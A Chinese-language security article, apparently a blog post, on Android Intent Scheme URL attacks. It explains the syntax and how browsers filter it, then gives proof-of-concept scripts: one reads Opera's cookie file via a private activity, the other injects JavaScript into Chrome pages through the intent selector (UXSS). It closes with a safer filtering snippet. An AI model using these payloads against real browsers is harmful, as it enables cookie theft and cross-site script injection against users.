0x0 引言

我们知道,在Android上的Intent-based攻击非常普遍。这样的攻击轻则导致应用程序崩溃。重则可能演变提权漏洞。当然,通过静态特征匹配,Intent-Based的恶意样本还是非常easy被识别出来的。

然而近期出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这样的攻击方式利用了浏览器保护措施的不足,通过浏览器作为桥梁间接实现Intend-Based攻击。

相比于普通Intend-Based攻击,这样的方式极具隐蔽性,并且因为恶意代码隐藏WebPage中。传统的特征匹配全然不起作用。除此之外,这样的攻击还能直接訪问跟浏览器自身的组件(不管是公开还是私有)和私有文件,比方cookie文件。进而导致用户机密信息的泄露。

0x1 Intent scheme URL的使用方法

看一下Intent Scheme URL的使用方法。

<script>location.href = “intent:mydata#Intent;action=myaction;type=text/plain;end”</script>

从使用方法上看,还是非常好理解的,这里的代码等价于例如以下Java代码:

Intent intent = new Intent(“myaction”);
intent.setData(Uri.parse(“mydata”));
intent.setType(“text/plain”);

再看一个样例:

intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end

上面的语句,等价于例如以下Java代码:

Intent intent = new Intent(“myaction”);
intent.setData(Uri.pase(“//foobar/”));
intent.putExtra(“xyz”, “123”);
intent.putExtra(“abc”, 678);

当中S代表String类型的key-value,i代表int类型的key-value。

源代码中提供了Intent.parseUri(String uri)静态方法,通过这种方法能够直接解析uri,假设想更一步了解当中的语法,能够查看官方源代码。

0x2 Intent scheme URI的解析及过滤

假设浏览器支持Intent Scheme URI语法。通常会分三个步骤进行处理:

  1. 利用Intent.parseUri解析uri,获取原始的intent对象。
  2. 对intent对象设置过滤规则。不同的浏览器有不同的策略。后面会具体介绍。
  3. 通过Context.startActivityIfNeeded或者Context.startActivity发送intent;

当中步骤2起关键作用,过滤规则缺失或者存在缺陷都会导致Intent Schem URL攻击。

以下是各大浏览器对Intent scheme URL的支持情况

可见,除了Firefox外其它的浏览器都支持Intent Scheme URL语法。

0x3 攻击演示样例

a.Opera mobile之cookie盗取

Opera上的intent过滤策略是全然缺失的,因此我们能够轻易调用Opera上的私有activity。比方以下这个攻击演示样例:

<script>
location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
</script>

通过上面的脚本,我们能够直接调起AdMarvelActivity。AdMarvelActvity会从intent中获取url。并以HTML/JavaScript的方式解析cookies文件。

试想一下,假设我们预先构造一个恶意站点,并让用户通过浏览器訪问。

这时在恶意见面中,存在例如以下脚本:

<script>
document.cookie = “x=<script>(javascript code)</scr” + “ipt>; path=/blah; expires=Tue, 01-Jan-2030 00:00:00 GMT”;
location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
</script>

当AdMarvelActivity解析cookies文件时,就会运行playload。

b.Chrome之UXSS

Chrome的UXSS漏洞利用相对复杂。介绍之前。我们须要先了解一下关于Intent Selector的使用方法。详情见。简而言之。Intent Selector机制提供一种main intent不匹配的情况下能够设置替补的方案。

比方A是main intent, B是A的selector
intent,当startActiviy时,系统发现A无法匹配则会尝试用B去匹配。

Chrome相比于Opera,在intent过滤的步骤中加入了安全策略。代码例如以下:

Intent intent = Intent.parseUri(uri);
intent.addCategory(“android.intent.category.BROWSABLE”);
intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);

从代码中。能够看到Chrome为了防御Intent Based攻击,做了不少限制。比方把category强置为”android.intent.category.BROWSABLE”,把component强置为null,相对之后比Opera强多了。然而。Chrome忽略了Intent
Selector的使用方法,比方以下的使用方法:

intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end

留意当中的keyword“SEL”,事实上就是设置了一个component为com.android.chrome/.xyz的 selector intent,这样的使用方法导致chrome的防御措施形同虚设。最后看一下Chrome UXSS的PoC:

<script>
//通过WebAppActivity0我们先打开一个攻击的网站
location.href = "intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;compo nent=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
// 停留2s或者更长时间, 然后注入javascript payload
setTimeout(function() {
location.href = "intent:#Intent;S.webapp_url=javascript:(malicious javascript code);l.webapp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
}, 2000);
</script>

这里的关键点是WebappActivity0对new intent的处理方式上。

第一次打开网站。并完毕载入。

第二次则是直接把javascript payload注入到目标网页。这个漏洞存在于在全部低于v.30.0.1599.92的chrome版本号。而新版本号改动WebappActivity对new intent的处理方式,会创建new tab,这样就避免了javascript inject。

然而在新版中,依旧没有屏避intent selector的使用。因此依旧存在Chrome的私有组件和文件被读取的安全隐患。

0x4 结论

通过上两个漏洞的描写叙述,我们总结得出一种相对照较安全的Intent Filter方法,代码例如以下:

// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);
// forbid launching activities without BROWSABLE category
intent.addCategory("android.intent.category.BROWSABLE");
// forbid explicit call
intent.setComponent(null);
// forbid intent with selector intent
intent.setSelector(null);
// start the activity by the intent
context.startActivityIfNeeded(intent, -1);


Android Intent Scheme URLs攻击的更多相关文章

  1. Android安全之Intent Scheme Url攻击

    0X01 前言 Intent scheme url是一种用于在web页面中启动终端app activity的特殊URL,在针对intent scheme URL攻击大爆发之前,很多android的浏览 ...

  2. android Intent介绍

    Android中提供了Intent机制来协助应用间的交互与通讯,Intent负责对应用中一次操作的动作.动作涉及数据.附加数据进行描述,Android则根据此Intent的描述,负责找到对应的组件,将 ...

  3. android intent和intent action大全

    1.Intent的用法:(1)用Action跳转1,使用Action跳转,如果有一个程序的AndroidManifest.xml中的某一个 Activity的IntentFilter段中 定义了包含了 ...

  4. Android Intent (可通过URL启动 Activity)

    Intent分为两大类: (1)显性的(Explicit) (2)隐性的(Implicit) 对于隐性意图,在某些时候, 应用程序只是想启动具有某种特征的组件, 并不想和某个特定的组件耦合. 使用In ...

  5. [Android] Intent详解

    [转]http://www.cnblogs.com/engine1984/p/4146621.html [正文] Intent组件虽然不是四大组件,但却是连接四大组件的桥梁,学习好这个知识,也非常的重 ...

  6. android intent 隐式意图和显示意图(activity跳转)

    android中的意图有显示意图和隐式意图两种, 显示意图要求必须知道被激活组件的包和class 隐式意图只需要知道跳转activity的动作和数据,就可以激活对应的组件 A 主activity  B ...

  7. Android Intent简介

    Intent对象主要用来在Android程序的Activity,Service和BroadcastReceiver这3大组件之间传输数据,而针对这3大组件,有独立的Intent传输机制,分别如下:1. ...

  8. Android Intent的花样启动

    刚开始看郭大神的<>,实现以下里面的一些例子.Intent的花样启动 显示Intent的使用. 实例化一个Intent,并且制定当前的activity和要跳转到的activity Inte ...

  9. Android Intent机制与常见的用法

    Activity Android于.Activity所有的程序都是必不可少,程都执行在Activity之中.Activity具有自己的生命周期(见http://www.cnblogs.com/feis ...

随机推荐

  1. 无法执行 varchar 值到 varchar 的隐式转换,原因是,由于排序规则冲突,该值的排序规则未经解析。

    SELECT CONVERT(VARCHAR(100), 列名) FROM Table 提示错误: 无法执行 varchar 值到 varchar 的隐式转换,原因是,由于排序规则冲突,该值的排序规则 ...

  2. ajax与java前后台传值及数据表查询解决一个bug的问题

    前台选中某些表,确定提交到后台,偶尔会报500错误,通过排查发现:由于后台代码写的不严谨,导致前台选中的表名如果全不存在的话就会导致后台走异常报500错误,所以决定在前台先对数据进行一次过滤,使至少有 ...

  3. python - 增强的格式化字符串format函数

    语法 它通过{}和:来代替%. “映射”示例 通过位置 In [1]: '{0},{1}'.format('kzc',18) Out[1]: 'kzc,18' In [2]: '{},{}'.form ...

  4. go语言知识点

    1.make()只是用3种内建的引用类型:切片.map和channel.new函数分配内存,make函数初始化. 2.:=只能使用在函数内部.

  5. [Functional Programming 101] runWIth, evalWith, execWith

    Recentlly, I am learning crocks.js ADT libaray. In the beginning, it is hard to understand when to u ...

  6. Servlet学习笔记(七)—— 自己定义过滤器的编写改进:自己定义实现FilterChain

    笔记六中实现了三种过滤器:字符编码过滤.登录权限过滤.敏感词过滤,可是有个缺陷就是,限定了过滤顺序,而不能实现先进行request过滤.最后response过滤,而且中间几项过滤的顺序不能动态改变.所 ...

  7. STL - Unorderedset - 自定义哈希函数

    1. hash工具类 hashval.hpp #ifndef _Core_HashVal_H_ #define _Core_HashVal_H_ #include <functional> ...

  8. Asp.Net 之 <%%>相关内联代码块用法

    1.<%@ ... %> 用来添加命名空间引用,如:<%@ import namespace="system.data"> 2.<% ... %> ...

  9. 从零开始学JavaScript三(变量)

    一.变量 ECMAscript变量是松散型变量,所谓松散型变量,就是变量名称可以保存任何类型的数据,每个变量仅仅是一个用于保存值的占位符. 定义变量时要使用var操作符 如: var message; ...

  10. 栈的应用实例——中缀表达式转换为后缀表达式

    声明:本程序读入一个中缀表达式,将该中缀表达式转换为后缀表达式并输出后缀表达式. 注意:支持+.-.*./.(),并且输入时每输入完一个数字或符号都要加一个空格,特别注意的是在整个表达式输入完成时也要 ...